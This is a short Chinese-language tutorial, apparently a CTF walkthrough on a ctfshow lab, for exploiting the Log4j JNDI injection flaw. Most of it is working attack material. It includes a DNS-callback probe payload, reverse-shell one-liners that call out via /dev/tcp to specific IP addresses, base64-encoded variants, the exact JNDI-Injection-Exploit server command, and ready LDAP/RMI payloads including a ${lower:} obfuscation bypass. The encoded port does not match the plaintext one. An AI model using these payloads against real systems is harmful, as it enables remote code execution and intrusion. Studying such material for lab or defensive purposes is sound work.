log4j利用超详细教程
准备
1.工具地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/
2.一台vps
3.https://log.咕.com/ 好用的dns平台
4.靶场,这里以ctfshow靶场为例
poc
${jndi:ldap://2da55a57.dns.1433.eu.org.}

收到弹回来的dns,证明漏洞存在

exp
在vps安装好java环境,下载好工具

将反弹shell语句进行base64编码
https://www.jackson-t.ca/runtime-exec-payloads.html
bash -c 'bash -i >& /dev/tcp/116.62.127.33/9999 <&2‘
bash -i >& /dev/tcp/155.94.235.82/9999 <&2
编码后:
bash -c {echo,YGJhc2ggLWkgPiYgL2Rldi90Y3AvMTE2LjYyLjEyNy4zMy84ODg4IDwmMmA=}|{base64,-d}|{bash,-i}
接着直接:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMTI3LjMzLzg4ODggPCYy}|{base64,-d}|{bash,-i}” -A “116.62.127.33”
把参数替换成自己的就行

生成exp:${jndi:ldap://116.62.127.33:1389/x8vwe4}
${${lower:jndi}:${lower:rmi}://116.62.127.33:1099/hysq37}
这里用的是ldap协议
监听端口:

exp直接打:

收到弹回来的shell,拿到flag:

